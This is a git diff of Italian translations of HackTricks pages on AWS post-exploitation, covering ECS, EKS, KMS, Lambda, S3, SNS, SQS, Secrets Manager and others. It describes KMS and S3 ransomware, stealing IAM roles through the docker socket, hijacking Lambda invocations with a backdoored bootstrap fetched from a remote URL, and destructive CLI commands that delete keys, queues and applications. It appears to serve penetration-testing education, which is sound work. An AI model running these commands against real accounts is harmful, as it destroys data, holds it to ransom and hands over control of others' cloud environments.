Puoi utilizzare questo strumento per automatizzare l'attacco: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oppure potresti utilizzare una delle tecniche precedenti dopo aver creato uno snapshot.

View File

@@ -24,7 +24,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Privesc al nodo per rubare credenziali e segreti di altri container
Inoltre, EC2 utilizza docker per eseguire i task ECs, quindi se riesci a scappare nel nodo o **accedere al socket docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati.
Inoltre, EC2 utilizza docker per eseguire i task EC, quindi se riesci a scappare al nodo o **accedere al socket docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati.
#### Far eseguire i container nell'host attuale
@@ -38,7 +38,7 @@ La stessa tecnica può essere eseguita **dissociando l'istanza EC2 dal cluster**
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
Una tecnica finale per forzare la riesecuzione dei compiti è indicare a ECS che il **compito o il contenitore è stato arrestato**. Ci sono 3 API potenziali per farlo:
Una tecnica finale per forzare la riesecuzione dei compiti è indicare a ECS che il **compito o il contenitore è stato fermato**. Ci sono 3 API potenziali per farlo:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla
### Enumerare il cluster dalla Console AWS
Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti Kubernetes** tramite la console AWS EKS ([Scopri di più](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti Kubernetes** tramite la console AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### Connettersi al Cluster Kubernetes di AWS
@@ -21,9 +21,9 @@ Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Non è un modo così facile:
- Non è così facile:
Se puoi **ottenere un token** con **`aws eks get-token --name <cluster_name>`** ma non hai permessi per ottenere informazioni sul cluster (describeCluster), potresti **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, hai ancora bisogno dell'**url endpoint a cui connetterti** (se sei riuscito a ottenere un token JWT da un pod leggi [qui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e del **nome del cluster**.
Se puoi **ottenere un token** con **`aws eks get-token --name <cluster_name>`** ma non hai i permessi per ottenere informazioni sul cluster (describeCluster), potresti **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, hai ancora bisogno dell'**url endpoint a cui connetterti** (se sei riuscito a ottenere un token JWT da un pod leggi [qui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e del **nome del cluster**.
Nel mio caso, non ho trovato le informazioni nei log di CloudWatch, ma le **ho trovate in LaunchTemplates userData** e in **macchine EC2 in userData anche**. Puoi vedere queste informazioni in **userData** facilmente, ad esempio nel seguente esempio (il nome del cluster era cluster-name):
```bash
@@ -72,22 +72,22 @@ provideClusterInfo: false
### Da AWS a Kubernetes
Il **creatore** del **cluster EKS** sarà **SEMPR** in grado di accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (admin k8s). Al momento della scrittura non c'è **modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non c'è **modo** per **rimuovere** quel **privilegio**.
Il **creatore** del **cluster EKS** sarà **SEMPR** in grado di accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (admin k8s). Al momento della scrittura non c'è **modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non c'è **modo** di **rimuovere** quel **privilegio**.
Il modo per concedere **accesso a più utenti o ruoli AWS IAM** su K8s è utilizzare il **configmap** **`aws-auth`**.
Il modo per concedere **accesso a più utenti o ruoli AWS IAM su K8s** è utilizzare il **configmap** **`aws-auth`**.
> [!WARNING]
> Pertanto, chiunque abbia **accesso in scrittura** sulla config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**.
> Pertanto, chiunque abbia **accesso in scrittura** sul config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**.
Per ulteriori informazioni su come **concedere privilegi extra a ruoli e utenti IAM** nello **stesso o in un altro account** e come **abusare** di questo per [**privesc controlla questa pagina**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
Per ulteriori informazioni su come **concedere privilegi extra a ruoli e utenti IAM** nello **stesso o diverso account** e come **abusare** di questo per [**privesc controlla questa pagina**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
Controlla anche [**questo fantastico**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per scoprire come funziona l'autenticazione IAM -> Kubernetes**.
Controlla anche [**questo fantastico**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per imparare come funziona l'autenticazione IAM -> Kubernetes**.
### Da Kubernetes a AWS
È possibile consentire un **autenticazione OpenID per l'account di servizio kubernetes** per consentire loro di assumere ruoli in AWS. Scopri come [**questo funziona in questa pagina**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### OTTIENI l'endpoint del server Api da un token JWT
### OTTIENI l'Endpoint del Server Api da un Token JWT
Decodificando il token JWT otteniamo l'id del cluster e anche la regione. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sapendo che il formato standard per l'url EKS è
```bash
@@ -133,7 +133,7 @@ Nota che il **cluster EKS potrebbe avere i log abilitati** che registreranno que
Per impostazione predefinita, il **utente o il ruolo che ha creato** un cluster ha **SEMPRE privilegi di amministratore** sul cluster. E che l'unico accesso "sicuro" che AWS avrà sul cluster Kubernetes.
Quindi, se un **attaccante compromette un cluster utilizzando fargate** e **rimuove tutti gli altri amministratori** e **elimina l'utente/ruolo AWS che ha creato** il cluster, ~~l'attaccante potrebbe aver **riscattato il cluster**~~**r**.
Quindi, se un **attaccante compromette un cluster utilizzando fargate** e **rimuove tutti gli altri amministratori** e **elimina l'utente/ruolo AWS che ha creato** il Cluster, ~~l'attaccante potrebbe aver **riscattato il cluster**~~**r**.
> [!TIP]
> Nota che se il cluster stava utilizzando **EC2 VMs**, potrebbe essere possibile ottenere privilegi di amministratore dal **Node** e recuperare il cluster.

View File

@@ -15,7 +15,7 @@ Per ulteriori informazioni:
> [!NOTE]
> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione di applicazione esistente**. Questa azione potrebbe interrompere le pipeline di distribuzione dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non vengono eseguiti backup.
Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione di applicazione esistente**. Questa azione potrebbe interrompere i pipeline di distribuzione dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non vengono eseguiti backup.
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
@@ -37,7 +37,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
> [!NOTE]
> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
Un attaccante con l'autorizzazione `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, comprese tutte le sue versioni e ambienti. Questa azione potrebbe causare una significativa perdita di risorse e configurazioni dell'applicazione se non vengono eseguiti backup.
Un attaccante con l'autorizzazione `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, comprese tutte le sue versioni e ambienti. Questa azione potrebbe causare una significativa perdita di risorse e configurazioni dell'applicazione se non viene eseguito un backup.
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```

View File

@@ -14,7 +14,7 @@ Per ulteriori informazioni sull'accesso IAM:
Se **consenti a un account esterno (A)** di accedere a un **ruolo** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A), è possibile che **B possa anche accedere al tuo account**.
Pertanto, quando consenti a un account esterno di accedere a un ruolo nel tuo account, è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assumere il ruolo nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso a A, **non potrà accedere al tuo ruolo**.
Pertanto, quando consenti a un account esterno di accedere a un ruolo nel tuo account, è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assumere il ruolo nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso su A, **non potrà accedere al tuo ruolo**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>

View File

@@ -15,7 +15,7 @@ Per ulteriori informazioni controlla:
`fileb://` e `file://` sono schemi URI utilizzati nei comandi AWS CLI per specificare il percorso ai file locali:
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo.
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non ha requisiti di codifica speciali.
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali.
> [!TIP]
> Nota che se vuoi decrittografare alcuni dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
@@ -60,9 +60,9 @@ aws kms decrypt \
```
### KMS Ransomware
Un attaccante con accesso privilegiato su KMS potrebbe modificare la politica KMS delle chiavi e **concedere al proprio account accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
Un attaccante con accesso privilegiato su KMS potrebbe modificare la policy KMS delle chiavi e **concedere al proprio account accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
Quindi, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di alcun servizio che è stato crittografato con quelle chiavi, creando un ransomware facile ma efficace sull'account.
In questo modo, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di alcun servizio che è stato crittografato con quelle chiavi, creando un ransomware facile ma efficace sull'account.
> [!WARNING]
> Nota che **le chiavi gestite da AWS non sono colpite** da questo attacco, solo **le chiavi gestite dal cliente**.
@@ -100,14 +100,14 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
#### Ransomware KMS Globale
C'è un altro modo per eseguire un ransomware KMS globale, che comporterebbe i seguenti passaggi:
C'è un altro modo per eseguire un Ransomware KMS globale, che comporterebbe i seguenti passaggi:
- Creare una nuova **chiave con un materiale di chiave** importato dall'attaccante
- **Ri-criptare i dati più vecchi** criptati con la versione precedente con la nuova.
- **Recrittare i dati più vecchi** crittografati con la versione precedente con la nuova.
- **Eliminare la chiave KMS**
- Ora solo l'attaccante, che ha il materiale di chiave originale, potrebbe essere in grado di decriptare i dati criptati
- Ora solo l'attaccante, che ha il materiale di chiave originale, potrebbe essere in grado di decrittografare i dati crittografati
### Distruggere le chiavi
### Distruggere chiavi
```bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un account diverso:**
> Nota che AWS ora **preclude che le azioni precedenti vengano eseguite da un account diverso:**
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
### Rubare le Richieste URL di Altri Lambda
Se un attaccante riesce in qualche modo a ottenere RCE all'interno di un Lambda, sarà in grado di rubare le richieste HTTP di altri utenti al lambda. Se le richieste contengono informazioni sensibili (cookie, credenziali...) sarà in grado di rubarle.
Se un attaccante riesce in qualche modo a ottenere RCE all'interno di un Lambda, sarà in grado di rubare le richieste HTTP di altri utenti al lambda. Se le richieste contengono informazioni sensibili (cookie, credenziali...), sarà in grado di rubarle.
{{#ref}}
aws-warm-lambda-persistence.md

View File

@@ -11,10 +11,10 @@
- **`/2018-06-01/runtime/invocation/next`** ottieni il prossimo evento di invocazione
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** restituisci la risposta del gestore per l'invocazione
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** restituisci un errore di esecuzione
3. **bootstrap.py** ha un ciclo che ottiene invocazioni dal processo init e chiama il codice dell'utente per gestirle (**`/next`**).
3. **bootstrap.py** ha un ciclo che ottiene le invocazioni dal processo init e chiama il codice dell'utente per gestirle (**`/next`**).
4. Infine, **bootstrap.py** invia al init la **risposta**
Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice eseguita dal codice dell'utente avviene effettivamente in questo processo.
Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice effettuata dal codice dell'utente avviene effettivamente in questo processo.
## Rubare le Richieste Lambda
@@ -22,7 +22,7 @@ L'obiettivo di questo attacco è far eseguire al codice dell'utente un processo
Questo è un compito semplice da raggiungere poiché il codice dell'utente viene eseguito dal legittimo processo **`bootstrap.py`**. Quindi l'attaccante potrebbe:
- **Inviare un risultato falso dell'invocazione corrente al processo init**, così init pensa che il processo bootstrap stia aspettando ulteriori invocazioni.
- **Inviare un risultato falso dell'invocazione corrente al processo init**, in modo che init pensi che il processo bootstrap stia aspettando ulteriori invocazioni.
- Deve essere inviata una richiesta a **`/${invoke-id}/response`**
- L'invoke-id può essere ottenuto dallo stack del legittimo processo **`bootstrap.py`** utilizzando il modulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (come [proposto qui](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o semplicemente richiedendolo di nuovo a **`/2018-06-01/runtime/invocation/next`** (come [proposto qui](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Eseguire un **`boostrap.py`** malevolo che gestirà le prossime invocazioni
@@ -31,9 +31,9 @@ Questo è un compito semplice da raggiungere poiché il codice dell'utente viene
### Passi dell'Attacco
1. Trova una vulnerabilità **RCE**.
2. Genera un **bootstrap** **malevolo** (ad es. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Esegui** il bootstrap malevolo.
1. Trovare una vulnerabilità **RCE**.
2. Generare un **bootstrap** **malevolo** (ad es. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Eseguire** il bootstrap malevolo.
Puoi facilmente eseguire queste azioni eseguendo:
```bash

View File

@@ -1,10 +1,10 @@
# AWS - Organizations Post Exploitation
# AWS - Organizzazioni Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Organizzazioni
Per ulteriori informazioni su AWS Organizations, controlla:
Per ulteriori informazioni su AWS Organizations controlla:
{{#ref}}
../aws-services/aws-organizations-enum.md

View File

@@ -57,7 +57,7 @@ Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare po
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Impatto Potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando credenziali leaked.
**Impatto Potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando credenziali compromesse.
### `rds:DeleteDBInstance`

View File

@@ -19,17 +19,17 @@ A volte sarà possibile trovare informazioni sensibili leggibili nei bucket. Ad
Diverse piattaforme potrebbero utilizzare S3 per memorizzare asset sensibili.\
Ad esempio, **airflow** potrebbe memorizzare il **codice** dei **DAG** lì, oppure **pagine web** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modificare il codice** dal bucket per **pivotare** verso altre piattaforme, o **prendere il controllo degli account** modificando i file JS.
### S3 Ransomware
### Ransomware S3
In questo scenario, l'**attaccante crea una chiave KMS (Key Management Service) nel proprio account AWS** o in un altro account compromesso. Poi rende questa **chiave accessibile a chiunque nel mondo**, consentendo a qualsiasi utente, ruolo o account AWS di crittografare oggetti utilizzando questa chiave. Tuttavia, gli oggetti non possono essere decrittografati.
L'attaccante identifica un **bucket S3 target e ottiene accesso in scrittura** utilizzando vari metodi. Questo potrebbe essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente o all'accesso dell'attaccante all'ambiente AWS stesso. L'attaccante di solito prende di mira i bucket che contengono informazioni sensibili come informazioni identificabili personalmente (PII), informazioni sanitarie protette (PHI), log, backup e altro.
L'attaccante identifica un **bucket S3 target e ottiene accesso a livello di scrittura** utilizzando vari metodi. Questo potrebbe essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente o all'accesso dell'attaccante all'ambiente AWS stesso. L'attaccante di solito prende di mira i bucket che contengono informazioni sensibili come informazioni identificabili personalmente (PII), informazioni sanitarie protette (PHI), log, backup e altro.
Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante controlla la sua configurazione. Questo include la verifica se **S3 Object Versioning** è abilitato e se **la cancellazione con autenticazione a più fattori (MFA delete) è abilitata**. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante ransomware quel specifico bucket.
Utilizzando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia crittografata utilizzando la propria chiave KMS**. Questo crittografa efficacemente i dati nel bucket, rendendoli inaccessibili senza la chiave.
Utilizzando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia crittografata utilizzando la propria chiave KMS**. Questo crittografa effettivamente i dati nel bucket, rendendoli inaccessibili senza la chiave.
Per aumentare ulteriormente la pressione, l'attaccante programma la cancellazione della chiave KMS utilizzata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i propri dati prima che la chiave venga cancellata e i dati diventino permanentemente persi.
Per esercitare ulteriore pressione, l'attaccante programma la cancellazione della chiave KMS utilizzata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i propri dati prima che la chiave venga cancellata e i dati diventino permanentemente persi.
Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt," che contiene istruzioni per il target su come recuperare i propri file. Questo file viene caricato senza crittografia, probabilmente per attirare l'attenzione del target e farlo diventare consapevole dell'attacco ransomware.

View File

@@ -14,9 +14,9 @@ Per ulteriori informazioni controlla:
I **segreti stessi sono informazioni sensibili**, [controlla la pagina privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) per imparare come leggerli.
### DoS Cambiare Valore del Segreto
### DoS Cambia Valore Segreto
Cambiando il valore del segreto potresti **DoS tutti i sistemi che dipendono da quel valore.**
Cambiando il valore del segreto potresti **DoS tutto il sistema che dipende da quel valore.**
> [!WARNING]
> Nota che i valori precedenti sono anche memorizzati, quindi è facile tornare al valore precedente.
@@ -32,7 +32,7 @@ aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Eliminazione Segreto
### DoS Eliminazione del Segreto
Il numero minimo di giorni per eliminare un segreto è 7
```bash

View File

@@ -17,7 +17,7 @@ Invia un'email.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
Still to test.
Ancora da testare.
### `ses:SendRawEmail`
@@ -31,13 +31,15 @@ Invia un'email basata su un modello.
```bash
aws ses send-templated-email --source <value> --destination <value> --template <value>
```
Ancora da testare.
### `ses:SendBulkTemplatedEmail`
Invia un'email a più destinazioni
```bash
aws ses send-bulk-templated-email --source <value> --template <value>
```
Still to test.
Ancora da testare.
### `ses:SendBulkEmail`

View File

@@ -20,11 +20,11 @@ Un attaccante potrebbe eliminare un intero topic SNS, causando la perdita di mes
```bash
aws sns delete-topic --topic-arn <value>
```
**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano l'argomento eliminato.
**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano il topic eliminato.
### `sns:Publish`
Un attaccante potrebbe inviare messaggi dannosi o indesiderati all'argomento SNS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, causando potenzialmente corruzione dei dati, attivazione di azioni non intenzionali o esaurimento delle risorse.
```bash
aws sns publish --topic-arn <value> --message <value>
```
@@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attr
### `sns:Subscribe` , `sns:Unsubscribe`
Un attaccante potrebbe iscriversi o disiscriversi a un argomento SNS, potenzialmente ottenendo accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che dipendono dall'argomento.
Un attaccante potrebbe iscriversi o disiscriversi a un argomento SNS, guadagnando potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sull'argomento.
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
aws sns unsubscribe --subscription-arn <value>
@@ -54,9 +54,9 @@ Un attaccante potrebbe concedere accesso a utenti o servizi non autorizzati a un
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
aws sns remove-permission --topic-arn <value> --label <value>
```
**Impatto Potenziale**: Accesso non autorizzato all'argomento, esposizione dei messaggi o manipolazione dell'argomento da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sull'argomento.
**Impatto Potenziale**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sul topic.
### `sns:TagResource`, `sns:UntagResource`
### `sns:TagResource` , `sns:UntagResource`
Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SNS, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
```bash

View File

@@ -12,12 +12,12 @@ Per ulteriori informazioni controlla:
### `sqs:SendMessage` , `sqs:SendMessageBatch`
Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, potenzialmente causando corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
```bash
aws sqs send-message --queue-url <value> --message-body <value>
aws sqs send-message-batch --queue-url <value> --entries <value>
```
**Impatto Potenziale**: Sfruttamento della vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
**Impatto Potenziale**: Sfruttamento delle vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
@@ -39,7 +39,7 @@ Copy codeaws sqs delete-queue --queue-url <value>
### `sqs:PurgeQueue`
Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, portando a perdita di messaggi e potenziale interruzione delle applicazioni che dipendono da quei messaggi.
Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, portando a perdita di messaggi e potenziale interruzione delle applicazioni che si basano su quei messaggi.
```arduino
Copy codeaws sqs purge-queue --queue-url <value>
```
@@ -60,7 +60,7 @@ Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SQS,
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
aws sqs untag-queue --queue-url <value> --tag-keys <key>
```
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag.
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate sui tag.
### `sqs:RemovePermission`

View File

@@ -1,8 +1,8 @@
# AWS - SSO & identitystore Post Exploitation
# AWS - SSO e identitystore Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## SSO & identitystore
## SSO e identitystore
Per ulteriori informazioni controlla:

View File

@@ -24,7 +24,7 @@ Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente
>
> - Eliminando una macchina a stati si eliminano anche tutte le sue versioni e alias associati.
> - Eliminando un alias di macchina a stati non si eliminano le versioni della macchina a stati che fanno riferimento a questo alias.
> - Non è possibile eliminare una versione della macchina a stati attualmente referenziata da uno o più alias.
> - Non è possibile eliminare una versione di macchina a stati attualmente referenziata da uno o più alias.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
@@ -45,10 +45,10 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
### `states:StopExecution`
Un attaccante con questo permesso potrebbe essere in grado di fermare l'esecuzione di qualsiasi macchina a stati, interrompendo flussi di lavoro e processi in corso. Questo potrebbe portare a transazioni incomplete, operazioni commerciali bloccate e potenziale corruzione dei dati.
Un attaccante con questo permesso potrebbe essere in grado di fermare l'esecuzione di qualsiasi macchina a stati, interrompendo i flussi di lavoro e i processi in corso. Questo potrebbe portare a transazioni incomplete, operazioni commerciali bloccate e potenziale corruzione dei dati.
> [!WARNING]
> Questa azione non è supportata da **macchine a stati espressi**.
> Questa azione non è supportata da **express state machines**.
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```

View File

@@ -10,7 +10,7 @@ Per ulteriori informazioni:
../aws-services/aws-iam-enum.md
{{#endref}}
### Da IAM Creds a Console
### Da credenziali IAM alla Console
Se sei riuscito a ottenere alcune credenziali IAM, potresti essere interessato a **accedere alla console web** utilizzando i seguenti strumenti.\
Nota che l'utente/ruolo deve avere il permesso **`sts:GetFederationToken`**.
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **Evitare le restrizioni dell'User-Agent da Python**
Se c'è una **restrizione nell'eseguire determinate azioni basate sull'user agent** utilizzato (come la restrizione dell'uso della libreria python boto3 in base all'user agent), è possibile utilizzare la tecnica precedente per **connettersi alla console web tramite un browser**, oppure puoi direttamente **modificare l'user-agent di boto3** facendo:
Se c'è una **restrizione nell'eseguire determinate azioni basate sull'user agent** utilizzato (come limitare l'uso della libreria python boto3 in base all'user agent), è possibile utilizzare la tecnica precedente per **connettersi alla console web tramite un browser**, oppure puoi direttamente **modificare l'user-agent di boto3** facendo:
```bash
# Shared by ex16x41
# Create a client